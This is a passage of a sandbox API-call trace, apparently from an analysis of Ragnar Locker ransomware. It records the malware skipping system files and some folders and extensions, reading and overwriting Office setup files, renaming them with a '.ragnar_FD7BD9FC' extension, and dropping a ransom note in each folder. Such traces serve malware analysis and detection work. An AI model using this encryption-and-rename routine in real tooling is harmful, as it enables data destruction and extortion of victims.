ftLastWriteTime.dwLowDateTime=0x78e2f0c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0064.843] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78e2f0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x78e2f0c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.844] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0064.844] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0064.844] lstrcpyW (in: lpString1=0x1ea0ca, lpString2="ProPlusrWW.XML" | out: lpString1="ProPlusrWW.XML") returned="ProPlusrWW.XML" [0064.844] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned=".XML" [0064.844] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0064.844] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="autorun.inf") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="boot.ini") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="bootfont.bin") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="bootsect.bak") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="bootmgr") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="bootmgr.efi") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="bootmgfw.efi") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="desktop.ini") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="iconcache.db") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="ntldr") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="ntuser.dat") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="ntuser.dat.log") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="ntuser.ini") returned 1 [0064.863] lstrcmpiW (lpString1="ProPlusrWW.XML", lpString2="thumbs.db") returned -1 [0064.863] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0064.863] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0064.863] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0064.863] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0064.863] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0064.863] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0064.863] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0064.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0064.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0064.868] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=16852) returned 1 [0064.868] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x41cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.868] GetProcessHeap () returned 0x580000 [0064.868] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0064.868] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0065.216] VirtualAlloc (lpAddress=0x0, dwSize=0x41d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0065.216] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.216] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0065.216] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x41d4, lpOverlapped=0x0) returned 1 [0065.412] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0065.412] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x41d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.412] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x41d4, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x41d4, lpOverlapped=0x0) returned 1 [0065.413] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x41d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.413] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0065.413] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x41d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.413] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.413] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0065.413] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0065.413] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0065.413] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.413] GetProcessHeap () returned 0x580000 [0065.413] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0065.413] CloseHandle (hObject=0x108) returned 1 [0065.414] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" [0065.414] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.ragnar_FD7BD9FC" [0065.414] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0065.415] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78e2f0c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x78e2f0c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0065.415] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0065.415] lstrcpyW (in: lpString1=0x1ea0ca, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0065.415] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\RGNR_FD7BD9FC.txt") returned=".txt" [0065.415] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0065.415] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0065.416] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x60 [0065.416] lstrcpyW (in: lpString1=0x1ea0ca, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0065.416] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned=".XML" [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0065.416] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0065.416] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0065.416] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0065.416] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0065.416] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0065.416] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0065.416] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0065.416] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0065.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0065.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0065.417] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=31094) returned 1 [0065.417] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x796d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.417] GetProcessHeap () returned 0x580000 [0065.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0065.417] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0065.501] VirtualAlloc (lpAddress=0x0, dwSize=0x7976, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0065.525] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.547] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0065.613] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7976, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x7976, lpOverlapped=0x0) returned 1 [0065.621] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0065.622] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7976, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.622] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7976, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x7976, lpOverlapped=0x0) returned 1 [0065.622] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7976, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.622] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0065.622] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x7976, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.622] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.622] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0065.623] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0065.623] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0065.623] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.623] GetProcessHeap () returned 0x580000 [0065.623] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0065.623] CloseHandle (hObject=0x108) returned 1 [0065.624] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" [0065.624] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.ragnar_FD7BD9FC" [0065.624] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0065.673] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0065.673] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0065.673] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0065.673] lstrcmpiW (lpString1="Publisher.en-us", lpString2=".") returned 1 [0065.673] lstrcmpiW (lpString1="Publisher.en-us", lpString2="..") returned 1 [0065.673] lstrcmpiW (lpString1="Publisher.en-us", lpString2="Windows") returned -1 [0065.673] lstrcmpiW (lpString1="Publisher.en-us", lpString2="Windows.old") returned -1 [0065.673] lstrcmpiW (lpString1="Publisher.en-us", lpString2="Tor browser") returned -1 [0065.673] lstrcmpiW (lpString1="Publisher.en-us", lpString2="Internet Explorer") returned 1 [0065.673] lstrcmpiW (lpString1="Publisher.en-us", lpString2="Google") returned 1 [0065.674] lstrcmpiW (lpString1="Publisher.en-us", lpString2="Opera") returned 1 [0065.674] lstrcmpiW (lpString1="Publisher.en-us", lpString2="Opera Software") returned 1 [0065.674] lstrcmpiW (lpString1="Publisher.en-us", lpString2="Mozilla") returned 1 [0065.674] lstrcmpiW (lpString1="Publisher.en-us", lpString2="Mozilla Firefox") returned 1 [0065.674] lstrcmpiW (lpString1="Publisher.en-us", lpString2="$Recycle.Bin") returned 1 [0065.674] lstrcmpiW (lpString1="Publisher.en-us", lpString2="ProgramData") returned 1 [0065.674] lstrcmpiW (lpString1="Publisher.en-us", lpString2="All Users") returned 1 [0065.674] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0065.674] lstrcpyW (in: lpString1=0x1eab90, lpString2="Publisher.en-us" | out: lpString1="Publisher.en-us") returned="Publisher.en-us" [0065.674] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\" [0065.674] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\" [0065.674] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\RGNR_FD7BD9FC.txt" [0065.674] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0065.679] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*" [0065.679] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x67 [0065.679] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0065.679] lstrcpyW (in: lpString1=0x1e9cc4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0065.679] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79637b00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79637b00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0065.679] lstrcmpiW 